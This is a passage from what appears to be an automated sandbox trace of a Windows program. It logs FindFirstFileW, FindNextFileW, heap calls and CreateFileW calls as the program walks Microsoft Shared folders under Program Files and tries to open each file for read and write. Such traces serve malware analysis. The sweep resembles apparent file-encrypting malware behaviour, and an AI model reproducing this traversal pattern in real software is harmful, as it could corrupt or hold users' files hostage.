hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0142.579] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0142.579] GetProcessHeap () returned 0x2a0000 [0142.579] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.580] GetProcessHeap () returned 0x2a0000 [0142.580] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.580] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.580] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.580] GetProcessHeap () returned 0x2a0000 [0142.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.581] GetLastError () returned 0x5 [0142.581] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.581] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.581] GetProcessHeap () returned 0x2a0000 [0142.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0142.581] GetProcessHeap () returned 0x2a0000 [0142.581] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.582] GetProcessHeap () returned 0x2a0000 [0142.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.582] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.582] GetProcessHeap () returned 0x2a0000 [0142.582] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.582] GetLastError () returned 0x5 [0142.582] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.582] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.583] GetProcessHeap () returned 0x2a0000 [0142.583] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.583] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0142.583] GetProcessHeap () returned 0x2a0000 [0142.583] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.584] GetProcessHeap () returned 0x2a0000 [0142.584] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.584] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.584] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.584] GetProcessHeap () returned 0x2a0000 [0142.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.585] GetLastError () returned 0x5 [0142.585] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.586] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.586] GetProcessHeap () returned 0x2a0000 [0142.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.586] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0142.586] GetProcessHeap () returned 0x2a0000 [0142.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.586] GetProcessHeap () returned 0x2a0000 [0142.586] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.586] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.586] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.586] GetProcessHeap () returned 0x2a0000 [0142.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.587] GetLastError () returned 0x5 [0142.587] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.587] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.587] GetProcessHeap () returned 0x2a0000 [0142.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.587] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0142.587] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0142.587] GetProcessHeap () returned 0x2a0000 [0142.587] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0142.587] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0142.587] GetProcessHeap () returned 0x2a0000 [0142.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0142.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0142.589] GetProcessHeap () returned 0x2a0000 [0142.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0142.589] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.589] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0142.589] GetProcessHeap () returned 0x2a0000 [0142.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7d48 [0142.589] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0142.589] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0142.589] GetProcessHeap () returned 0x2a0000 [0142.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0142.589] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0142.589] GetProcessHeap () returned 0x2a0000 [0142.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7c) returned 0x2c22b0 [0142.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0142.590] GetProcessHeap () returned 0x2a0000 [0142.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0142.590] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.590] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0142.590] GetProcessHeap () returned 0x2a0000 [0142.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27e) returned 0x2c7d48 [0142.590] GetProcessHeap () returned 0x2a0000 [0142.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2ed368 [0142.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, 